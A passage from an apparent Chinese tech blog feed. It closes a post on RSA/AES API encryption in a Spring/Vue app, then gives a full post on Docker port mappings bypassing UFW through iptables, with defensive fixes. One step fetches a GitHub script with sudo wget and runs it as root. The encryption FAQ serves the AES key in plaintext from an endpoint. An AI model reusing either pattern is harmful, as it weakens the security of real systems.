解密）</li><li><strong>底层工具</strong> — <code>RsaUtils.java</code> 理解分段加密和混合加密实现</li></ol><hr><h2 id="实际使用示例"><a href="#实际使用示例" class="headerlink" title="实际使用示例"></a>实际使用示例</h2><h3 id="后端：标注接口需要加密"><a href="#后端：标注接口需要加密" class="headerlink" title="后端：标注接口需要加密"></a>后端：标注接口需要加密</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@RestController</span><br><span class="hljs-meta">@RequestMapping(&quot;/sys/user&quot;)</span><br><span class="hljs-meta">@RequiredArgsConstructor</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">SysUserController</span> &#123;<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> SysUserService userService;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 分页查询用户列表（响应加密）</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-meta">@GetMapping(&quot;/page&quot;)</span><br>    <span class="hljs-meta">@SaCheckPermission(&quot;sys:user:list&quot;)</span><br>    <span class="hljs-meta">@EncryptResponse</span>  <span class="hljs-comment">// ← 标注此注解，局部模式下该接口响应会被 AES 加密</span><br>    <span class="hljs-keyword">public</span> Result&lt;PageResult&lt;SysUser&gt;&gt; <span class="hljs-title function_">page</span><span class="hljs-params">(</span><br><span class="hljs-params">            <span class="hljs-meta">@RequestParam(defaultValue = &quot;1&quot;)</span> Integer page,</span><br><span class="hljs-params">            <span class="hljs-meta">@RequestParam(defaultValue = &quot;10&quot;)</span> Integer size)</span> &#123;<br>        <span class="hljs-keyword">return</span> Result.ok(userService.page(page, size));<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 添加用户（请求自动解密密码字段）</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-meta">@PostMapping</span><br>    <span class="hljs-meta">@SaCheckPermission(&quot;sys:user:add&quot;)</span><br>    <span class="hljs-meta">@Log(title = &quot;用户管理&quot;, businessType = BusinessType.INSERT)</span><br>    <span class="hljs-keyword">public</span> Result&lt;Void&gt; <span class="hljs-title function_">add</span><span class="hljs-params">(<span class="hljs-meta">@RequestBody</span> SysUser user)</span> &#123;<br>        <span class="hljs-comment">// password 字段已被 DecryptRequestBodyAdvice 自动解密</span><br>        userService.save(user);<br>        <span class="hljs-keyword">return</span> Result.ok();<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="前端：登录时加密密码"><a href="#前端：登录时加密密码" class="headerlink" title="前端：登录时加密密码"></a>前端：登录时加密密码</h3><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs typescript"><span class="hljs-keyword">import</span> &#123; encryptPassword &#125; <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;@/utils/crypto&#x27;</span><br><br><span class="hljs-comment">// 登录表单</span><br><span class="hljs-keyword">const</span> loginForm = <span class="hljs-title function_">reactive</span>(&#123;<br>  <span class="hljs-attr">username</span>: <span class="hljs-string">&#x27;&#x27;</span>,<br>  <span class="hljs-attr">password</span>: <span class="hljs-string">&#x27;&#x27;</span>,<br>  <span class="hljs-attr">captcha</span>: <span class="hljs-string">&#x27;&#x27;</span><br>&#125;)<br><br><span class="hljs-comment">// 登录方法</span><br><span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">handleLogin</span>(<span class="hljs-params"></span>) &#123;<br>  <span class="hljs-keyword">try</span> &#123;<br>    <span class="hljs-comment">// 加密密码</span><br>    <span class="hljs-keyword">const</span> encryptedPassword = <span class="hljs-keyword">await</span> <span class="hljs-title function_">encryptPassword</span>(loginForm.<span class="hljs-property">password</span>)<br>    <br>    <span class="hljs-comment">// 发送登录请求</span><br>    <span class="hljs-keyword">await</span> authApi.<span class="hljs-title function_">login</span>(&#123;<br>      <span class="hljs-attr">username</span>: loginForm.<span class="hljs-property">username</span>,<br>      <span class="hljs-attr">password</span>: encryptedPassword,  <span class="hljs-comment">// 发送加密后的密码</span><br>      <span class="hljs-attr">captcha</span>: loginForm.<span class="hljs-property">captcha</span><br>    &#125;)<br>    <br>    <span class="hljs-variable language_">window</span>.<span class="hljs-property">$message</span>.<span class="hljs-title function_">success</span>(<span class="hljs-string">&#x27;登录成功&#x27;</span>)<br>    router.<span class="hljs-title function_">push</span>(<span class="hljs-string">&#x27;/&#x27;</span>)<br>  &#125; <span class="hljs-keyword">catch</span> (error) &#123;<br>    <span class="hljs-variable language_">window</span>.<span class="hljs-property">$message</span>.<span class="hljs-title function_">error</span>(<span class="hljs-string">&#x27;登录失败&#x27;</span>)<br>  &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="前端：批量加密多个密码字段"><a href="#前端：批量加密多个密码字段" class="headerlink" title="前端：批量加密多个密码字段"></a>前端：批量加密多个密码字段</h3><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs typescript"><span class="hljs-keyword">import</span> &#123; encryptPasswordFields &#125; <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;@/utils/crypto&#x27;</span><br><br><span class="hljs-comment">// 修改密码表单</span><br><span class="hljs-keyword">const</span> changePasswordForm = <span class="hljs-title function_">reactive</span>(&#123;<br>  <span class="hljs-attr">oldPassword</span>: <span class="hljs-string">&#x27;&#x27;</span>,<br>  <span class="hljs-attr">newPassword</span>: <span class="hljs-string">&#x27;&#x27;</span>,<br>  <span class="hljs-attr">confirmPassword</span>: <span class="hljs-string">&#x27;&#x27;</span><br>&#125;)<br><br><span class="hljs-comment">// 提交修改密码</span><br><span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">handleChangePassword</span>(<span class="hljs-params"></span>) &#123;<br>  <span class="hljs-comment">// 批量加密密码字段</span><br>  <span class="hljs-keyword">const</span> encryptedData = <span class="hljs-keyword">await</span> <span class="hljs-title function_">encryptPasswordFields</span>(changePasswordForm, [<br>    <span class="hljs-string">&#x27;oldPassword&#x27;</span>,<br>    <span class="hljs-string">&#x27;newPassword&#x27;</span><br>  ])<br>  <br>  <span class="hljs-keyword">await</span> userApi.<span class="hljs-title function_">changePassword</span>(encryptedData)<br>  <span class="hljs-variable language_">window</span>.<span class="hljs-property">$message</span>.<span class="hljs-title function_">success</span>(<span class="hljs-string">&#x27;密码修改成功&#x27;</span>)<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="配置加密范围"><a href="#配置加密范围" class="headerlink" title="配置加密范围"></a>配置加密范围</h3><p>在系统管理后台的 <strong>系统配置 → security 分组</strong> 中设置：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;encryptEnabled&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>        <span class="hljs-comment">// 启用加密</span><br>  <span class="hljs-attr">&quot;encryptScope&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;partial&quot;</span><span class="hljs-punctuation">,</span>     <span class="hljs-comment">// 加密范围：global（全局）或 partial（局部）</span><br>  <span class="hljs-attr">&quot;encryptPublicKey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;...&quot;</span><span class="hljs-punctuation">,</span>     <span class="hljs-comment">// RSA 公钥（留空自动生成）</span><br>  <span class="hljs-attr">&quot;encryptPrivateKey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;...&quot;</span>     <span class="hljs-comment">// RSA 私钥（留空自动生成）</span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p><strong>全局模式（global）</strong>：</p><ul><li>除白名单路径外，所有接口响应自动加密</li><li>适合对安全性要求极高的场景</li><li>白名单包括：登录、注册、验证码、文件访问等公开接口</li></ul><p><strong>局部模式（partial）</strong>：</p><ul><li>仅对标注 <code>@EncryptResponse</code> 的接口加密</li><li>适合大多数场景，灵活控制</li><li>推荐用于敏感数据接口（用户列表、详情等）</li></ul><hr><h2 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h2><h3 id="Q1-为什么请求用-RSA-加密，响应用-AES-加密？"><a href="#Q1-为什么请求用-RSA-加密，响应用-AES-加密？" class="headerlink" title="Q1: 为什么请求用 RSA 加密，响应用 AES 加密？"></a>Q1: 为什么请求用 RSA 加密，响应用 AES 加密？</h3><p><strong>A</strong>: </p><ul><li><strong>请求加密</strong>：主要加密密码等敏感字段，数据量小，RSA 足够</li><li><strong>响应加密</strong>：可能包含大量数据（如列表、详情），AES 速度快，适合大数据</li></ul><h3 id="Q2-AES-密钥如何安全传输？"><a href="#Q2-AES-密钥如何安全传输？" class="headerlink" title="Q2: AES 密钥如何安全传输？"></a>Q2: AES 密钥如何安全传输？</h3><p><strong>A</strong>: AES 密钥通过 <code>/api/crypto/config</code> 接口以 Base64 明文下发，依赖 HTTPS 保护传输安全。生产环境必须启用 HTTPS。</p><h3 id="Q3-服务重启后前端解密失败怎么办？"><a href="#Q3-服务重启后前端解密失败怎么办？" class="headerlink" title="Q3: 服务重启后前端解密失败怎么办？"></a>Q3: 服务重启后前端解密失败怎么办？</h3><p><strong>A</strong>: 服务重启会重新生成 AES 密钥，前端缓存的旧密钥失效。前端响应拦截器会自动检测解密失败，清除缓存并重新获取配置。</p><h3 id="Q4-如何判断某个字段是否被加密？"><a href="#Q4-如何判断某个字段是否被加密？" class="headerlink" title="Q4: 如何判断某个字段是否被加密？"></a>Q4: 如何判断某个字段是否被加密？</h3><p><strong>A</strong>: <code>DecryptRequestBodyAdvice</code> 通过以下规则判断：</p><ul><li>字段值长度 &gt;&#x3D; 100</li><li>能成功 Base64 解码</li><li>满足以上条件则尝试 RSA 解密</li></ul><h3 id="Q5-混合加密（hybridEncrypt）什么时候用？"><a href="#Q5-混合加密（hybridEncrypt）什么时候用？" class="headerlink" title="Q5: 混合加密（hybridEncrypt）什么时候用？"></a>Q5: 混合加密（hybridEncrypt）什么时候用？</h3><p><strong>A</strong>: 当需要加密超大数据（如文件内容）时使用。项目当前主要用于：</p><ul><li>请求：RSA 加密密码字段</li><li>响应：AES-GCM 加密整个响应体</li></ul><p>混合加密是 RsaUtils 提供的扩展能力，可用于特殊场景。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Docker 绕过防火墙的端口映射问题</title>
      <link>https://blog.newpon.top/2025/12/01/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E5%8F%A3%E6%8B%A6%E6%88%AA%E9%97%AE%E9%A2%98/</link>
      <description>复盘排查 Docker 容器端口映射绕过系统防火墙（iptables 规则链）的安全事故，解析底层网络数据包转发机制，并给出四种从最小改动到最彻底的防火墙防护方案。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Docker/">Docker</category>
      <category domain="https://blog.newpon.top/tags/%E5%AE%89%E5%85%A8/">安全</category>
      <category domain="https://blog.newpon.top/tags/%E8%BF%90%E7%BB%B4/">运维</category>
      <category domain="https://blog.newpon.top/tags/iptables/">iptables</category>
      <category domain="https://blog.newpon.top/tags/UFW/">UFW</category>
      <pubDate>Mon, 01 Dec 2025 07:14:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="问题发现"><a href="#问题发现" class="headerlink" title="问题发现"></a>问题发现</h2><p>早上检查服务器时发现他妈的数据库被黑了，排查后才想起防火墙端口忘记关闭。立即登录服务器关闭了防火墙对应端口。</p><p>但远程测试时发现：<strong>端口居然还能连上！</strong></p><hr><h2 id="问题原因"><a href="#问题原因" class="headerlink" title="问题原因"></a>问题原因</h2><p><img src="https://pub-a57df07920d249cb9197910fe28b84a5.r2.dev/PicGo/f90c22081df0e564dc0abecf99e3002a.png" alt="Docker 网络流量示意图"></p><p>我的数据库服务是通过 Docker 启动的，这正是问题的根源。</p><p>Docker 默认把所有转发到容器的流量全部放行，无条件 ACCEPT。</p><h3 id="Docker-的-iptables-行为"><a href="#Docker-的-iptables-行为" class="headerlink" title="Docker 的 iptables 行为"></a>Docker 的 iptables 行为</h3><p>Docker 默认会在系统 iptables 中自动添加 NAT&#x2F;FORWARD 规则，将映射端口直接放行。外部流量会绕过 INPUT 链，因此即使防火墙（UFW）没有开放端口，也能访问容器服务。</p><p>当 Docker 启动容器并映射端口（如 <code>-p 3307:3306</code>，等价于 <code>-p 0.0.0.0:3307:3306</code>）时，会自动执行以下操作：</p><ol><li>在 <code>nat/PREROUTING</code> 链挂上 <code>DOCKER</code> 跳转，再由 <code>nat/DOCKER</code> 链添加 DNAT 规则，把宿主机端口转发到容器 IP 端口</li><li>在 <code>filter/FORWARD</code> 链插入 <code>DOCKER-USER</code> 和 <code>DOCKER</code> 跳转，由 <code>filter/DOCKER</code> 链添加 ACCEPT 规则，放行转发流量</li></ol><p>实测一下，一眼就能看出来：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ <span class="hljs-built_in">sudo</span> iptables -t nat -L DOCKER -n<br>Chain DOCKER (2 references)<br>num  target     prot opt <span class="hljs-built_in">source</span>      destination<br>1    RETURN     all  --  0.0.0.0/0   0.0.0.0/0<br>2    DNAT       tcp  --  0.0.0.0/0   0.0.0.0/0    tcp dpt:3307 to:172.17.0.2:3306<br><br>$ <span class="hljs-built_in">sudo</span> iptables -L DOCKER -n<br>Chain DOCKER (1 references)<br>num  target     prot opt <span class="hljs-built_in">source</span>      destination<br>1    ACCEPT     tcp  --  0.0.0.0/0   172.17.0.2   tcp dpt:3306<br><br>$ <span class="hljs-built_in">sudo</span> iptables -L FORWARD -n --line-numbers | <span class="hljs-built_in">head</span> -5<br>Chain FORWARD (policy DROP)<br>num  target        prot opt <span class="hljs-built_in">source</span>      destination<br>1    DOCKER-USER   all  --  0.0.0.0/0   0.0.0.0/0<br>2    DOCKER-ISOLATION-STAGE-1  all  --  0.0.0.0/0  0.0.0.0/0<br>3    ACCEPT        all  --  0.0.0.0/0   0.0.0.0/0    ctstate RELATED,ESTABLISHED<br>4    DOCKER        all  --  0.0.0.0/0   0.0.0.0/0<br></code></pre></td></tr></table></figure><p>注意 <code>FORWARD</code> 链的 policy 可能是 <code>DROP</code>，但第 4 条 <code>DOCKER</code> 跳转里的 <code>ACCEPT</code> 已经把到容器的流量无条件放行了——<strong>这正是”防火墙看着是关的，端口却是开的”的根因</strong>。</p><h3 id="流量路径分析"><a href="#流量路径分析" class="headerlink" title="流量路径分析"></a>流量路径分析</h3><p>UFW 规则作用于 <code>filter/INPUT</code> 链，而外部访问 Docker 映射端口时，流量走的是：</p><figure class="highlight delphi"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs delphi">外网 → PREROUTING (DNAT) → <span class="hljs-keyword">FORWARD</span> → 容器<br></code></pre></td></tr></table></figure><p>报文在 <code>PREROUTING</code> 被 DNAT 之后，目的地址已经变成了容器 IP（<code>172.17.0.2</code>），不再是宿主机本机地址。内核一看目的地址不是自己，就判定为「转发」，于是走 <code>FORWARD</code> 链而不是 <code>INPUT</code> 链。</p><p>整个 iptables 链的跳转结构长这样，对照着看就清楚了：</p><div style="margin:1.5rem 0;overflow-x:auto;"><svg viewBox="0 0 680 496" width="100%" role="img" xmlns="http://www.w3.org/2000/svg"><title>Docker 端口映射在 iptables 中的链跳转结构</title><desc>报文进入 nat/PREROUTING 后做路由判定：目的地址为本机则走 filter/INPUT，UFW 规则生效；被 DNAT 成容器 IP 则走 filter/FORWARD，依次经过 DOCKER-USER 和 DOCKER 链，最终到达容器。</desc><defs><marker id="arrow" viewBox="0 0 10 10" refX="8" refY="5" markerWidth="6" markerHeight="6" orient="auto-start-reverse"><path d="M2 1L8 5L2 9" fill="none" stroke="context-stroke" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></marker></defs><rect x="240" y="30" width="200" height="44" rx="8" fill="#0C447C" stroke="#85B7EB" stroke-width="0.5"/><text x="340" y="52" text-anchor="middle" dominant-baseline="central" fill="#B5D4F4" font-size="13" font-weight="500">nat / PREROUTING</text><rect x="240" y="98" width="200" height="52" rx="8" fill="#633806" stroke="#EF9F27" stroke-width="0.5"/><text x="340" y="116" text-anchor="middle" dominant-baseline="central" fill="#FAC775" font-size="13" font-weight="500">路由判定</text><text x="340" y="134" text-anchor="middle" dominant-baseline="central" fill="#EF9F27" font-size="12">目的地址是本机吗</text><rect x="40" y="190" width="220" height="52" rx="8" fill="#085041" stroke="#5DCAA5" stroke-width="0.5"/><text x="150" y="208" text-anchor="middle" dominant-baseline="central" fill="#9FE1CB" font-size="13" font-weight="500">filter / INPUT</text><text x="150" y="226" text-anchor="middle" dominant-baseline="central" fill="#5DCAA5" font-size="12">UFW 规则在此生效</text><rect x="420" y="190" width="220" height="52" rx="8" fill="#0C447C" stroke="#85B7EB" stroke-width="0.5"/><text x="530" y="208" text-anchor="middle" dominant-baseline="central" fill="#B5D4F4" font-size="13" font-weight="500">filter / FORWARD</text><text x="530" y="226" text-anchor="middle" dominant-baseline="central" fill="#85B7EB" font-size="12">转发流量走这里</text><rect x="420" y="268" width="220" height="52" rx="8" fill="#085041" stroke="#5DCAA5" stroke-width="0.5"/><text x="530" y="286" text-anchor="middle" dominant-baseline="central" fill="#9FE1CB" font-size="13" font-weight="500">DOCKER-USER</text><text x="530" y="304" text-anchor="middle" dominant-baseline="central" fill="#5DCAA5" font-size="12">自定义白名单插这里</text><rect x="420" y="346" width="220" height="52" rx="8" fill="#791F1F" stroke="#F09595" stroke-width="0.5"/><text x="530" y="364" text-anchor="middle" dominant-baseline="central" fill="#F7C1C1" font-size="13" font-weight="500">DOCKER</text><text x="530" y="382" text-anchor="middle" dominant-baseline="central" fill="#F09595" font-size="12">自动 ACCEPT（绕过点）</text><rect x="420" y="424" width="220" height="52" rx="8" fill="#0C447C" stroke="#85B7EB" stroke-width="0.5"/><text x="530" y="442" text-anchor="middle" dominant-baseline="central" fill="#B5D4F4" font-size="13" font-weight="500">容器</text><text x="530" y="460" text-anchor="middle" dominant-baseline="central" fill="#85B7EB" font-size="12">172.17.0.2:3306</text><line x1="340" y1="74" x2="340" y2="94" stroke="#85B7EB" stroke-width="1.5" marker-end="url(#arrow)"/><path d="M340 150 L340 168 L150 168 L150 186" fill="none" stroke="#5DCAA5" stroke-width="1.5" marker-end="url(#arrow)"/><path d="M340 150 L340 168 L530 168 L530 186" fill="none" stroke="#85B7EB" stroke-width="1.5" marker-end="url(#arrow)"/><text x="196" y="160" text-anchor="middle" dominant-baseline="central" fill="#5DCAA5" font-size="12">是</text><text x="470" y="160" text-anchor="middle" dominant-baseline="central" fill="#85B7EB" font-size="12">否（DNAT 命中）</text><line x1="530" y1="242" x2="530" y2="264" stroke="#85B7EB" stroke-width="1.5" marker-end="url(#arrow)"/><line x1="530" y1="320" x2="530" y2="342" stroke="#85B7EB" stroke-width="1.5" marker-end="url(#arrow)"/><line x1="530" y1="398" x2="530" y2="420" stroke="#85B7EB" stroke-width="1.5" marker-end="url(#arrow)"/></svg></div><p>由于流量不经过 INPUT 链，所以即使 UFW 禁止了端口，Docker 映射的端口仍然可以被外部访问。</p><p>注意 <code>DOCKER-USER</code> 链在 <code>FORWARD</code> 里的位置排在 <code>DOCKER</code> 链<strong>之前</strong>——这正是它能用来做白名单的原因：你写的 <code>DROP</code> 规则会先于 Docker 自动生成的 <code>ACCEPT</code> 被命中。</p><h3 id="为什么绑定-127-0-0-1-就不一样"><a href="#为什么绑定-127-0-0-1-就不一样" class="headerlink" title="为什么绑定 127.0.0.1 就不一样"></a>为什么绑定 127.0.0.1 就不一样</h3><p>如果映射写成 <code>-p 127.0.0.1:3307:3306</code>，情况完全不同：</p><ol><li>DNAT 规则带上了 <code>-d 127.0.0.1/32</code> 的匹配条件，<strong>公网来的报文目的地址是你的公网 IP，匹配不上任何 DNAT 规则</strong></li><li>匹配不上 DNAT，报文就还是「发给宿主机本机端口」的报文，正常走 <code>INPUT</code> 链，UFW 规则生效</li><li>退一步说，就算 UFW 放行了，<code>docker-proxy</code> 也只在 <code>127.0.0.1:3307</code> 上监听，公网 IP 上压根没有监听进程，照样连不上</li></ol><p>这就是后面方案一为什么是首选的原因——<strong>一行参数，零副作用</strong>。</p><hr><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><h3 id="方案一：端口只绑回环地址（推荐，最小改动）"><a href="#方案一：端口只绑回环地址（推荐，最小改动）" class="headerlink" title="方案一：端口只绑回环地址（推荐，最小改动）"></a>方案一：端口只绑回环地址（推荐，最小改动）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker run -d --name mysql \<br>  -p 127.0.0.1:3307:3306 \<br>  mysql:8<br></code></pre></td></tr></table></figure><p>docker-compose 里同理：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">services:</span><br>  <span class="hljs-attr">mysql:</span><br>    <span class="hljs-attr">image:</span> <span class="hljs-string">mysql:8</span><br>    <span class="hljs-attr">ports:</span><br>      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;127.0.0.1:3307:3306&quot;</span><br></code></pre></td></tr></table></figure><p>对外访问统一走本机的反向代理（Nginx &#x2F; Caddy）转发到 <code>127.0.0.1:3307</code>，代理层再做鉴权和 IP 白名单。容器完全不出现在公网可达面里，这是最干净的做法。</p><h3 id="方案二：在-DOCKER-USER-链上做白名单（推荐）"><a href="#方案二：在-DOCKER-USER-链上做白名单（推荐）" class="headerlink" title="方案二：在 DOCKER-USER 链上做白名单（推荐）"></a>方案二：在 DOCKER-USER 链上做白名单（推荐）</h3><p><code>DOCKER-USER</code> 是 Docker 官方预留的自定义链，挂在 <code>FORWARD</code> 链的<strong>最前面</strong>，优先级高于 Docker 自己写的 <code>ACCEPT</code> 规则，是放自定义规则的唯一正确位置。</p><p>只放行内网网段，其余全部丢弃：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 注意：DOCKER-USER 链末尾有一条 -j RETURN，规则必须插在它前面</span><br><span class="hljs-built_in">sudo</span> iptables -I DOCKER-USER -p tcp --dport 3306 ! -s 10.0.0.0/8 -j DROP<br><br><span class="hljs-comment"># 查看结果</span><br><span class="hljs-built_in">sudo</span> iptables -L DOCKER-USER -n --line-numbers<br></code></pre></td></tr></table></figure><p>因为 DNAT 只改目的地址、不改源地址，所以这里看到的 <code>-s</code> 就是<strong>真实客户端 IP</strong>，按 IP 过滤是可靠的。</p><p>有一点必须注意：<strong>手工加的 iptables 规则重启后会丢</strong>。Docker 重启时不会清空 <code>DOCKER-USER</code> 链，但宿主机重启后规则就没了，需要持久化：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> apt install iptables-persistent<br><span class="hljs-built_in">sudo</span> netfilter-persistent save<br></code></pre></td></tr></table></figure><p>或者写个 systemd unit 在 <code>docker.service</code> 之后执行这段 <code>iptables</code> 命令。</p><h3 id="方案三：使用-UFW-Docker-插件"><a href="#方案三：使用-UFW-Docker-插件" class="headerlink" title="方案三：使用 UFW-Docker 插件"></a>方案三：使用 UFW-Docker 插件</h3><p>不想手写 iptables 的话，用社区脚本让 UFW 能正确管理 Docker 端口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> wget -O /usr/local/bin/ufw-docker \<br>  https://github.com/chaifeng/ufw-docker/raw/master/ufw-docker<br><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">chmod</span> +x /usr/local/bin/ufw-docker<br><span class="hljs-built_in">sudo</span> ufw-docker install<br><span class="hljs-built_in">sudo</span> systemctl restart ufw<br></code></pre></td></tr></table></figure><p>允许特定 IP 访问容器端口：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> ufw-docker allow mysql 3306/tcp 192.168.1.100<br></code></pre></td></tr></table></figure><p>装完记得校验规则是否真的落到了 <code>DOCKER-USER</code> 链里：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> ufw-docker check<br><span class="hljs-built_in">sudo</span> iptables -L DOCKER-USER -n<br></code></pre></td></tr></table></figure><p><strong>另外</strong>：<code>ufw-docker</code> 和 <code>iptables: false</code> 不能同时用，如果之前改过 <code>daemon.json</code>，要先把 <code>&quot;iptables&quot;: false</code> 删掉再重启 Docker。</p><h3 id="方案四：关闭-Docker-的-iptables-管理（不推荐）"><a href="#方案四：关闭-Docker-的-iptables-管理（不推荐）" class="headerlink" title="方案四：关闭 Docker 的 iptables 管理（不推荐）"></a>方案四：关闭 Docker 的 iptables 管理（不推荐）</h3><p>网上流传最广但坑最深的一个方案：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span><br>  <span class="hljs-attr">&quot;iptables&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><br><span class="hljs-punctuation">&#125;</span><br></code></pre></td></tr></table></figure><p>改完 <code>sudo systemctl restart docker</code>，UFW 确实能管住端口了——但代价是：</p><table><thead><tr><th>后果</th><th>说明</th></tr></thead><tbody><tr><td>容器<strong>出不了网</strong></td><td>Docker 不再写 <code>POSTROUTING</code> 的 <code>MASQUERADE</code> 规则，容器发的包没有源地址转换，直接回不来</td></tr><tr><td>容器间<strong>跨网段不通</strong></td><td><code>DOCKER-ISOLATION-STAGE-*</code> 链不再创建，自定义 bridge 网络之间的隔离和转发全乱</td></tr><tr><td>端口发布变成用户态代理</td><td>端口实际由 <code>docker-proxy</code> 用户态进程转发，性能下降、连接数受限于进程模型</td></tr><tr><td>要手写全套 NAT</td><td>每次新建容器网络都得自己补 <code>MASQUERADE</code> 和 DNAT</td></tr></tbody></table><p>真要用就得自己把整套 NAT 补齐：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> iptables -t nat -A POSTROUTING -s 172.17.0.0/16 -j MASQUERADE<br></code></pre></td></tr></table></figure><p><strong>结论</strong>：这是”用大炮打蚊子”，只有在完全自管 iptables 的场景才考虑。生产环境优先方案一或方案二。</p><hr><h2 id="常见坑排查清单"><a href="#常见坑排查清单" class="headerlink" 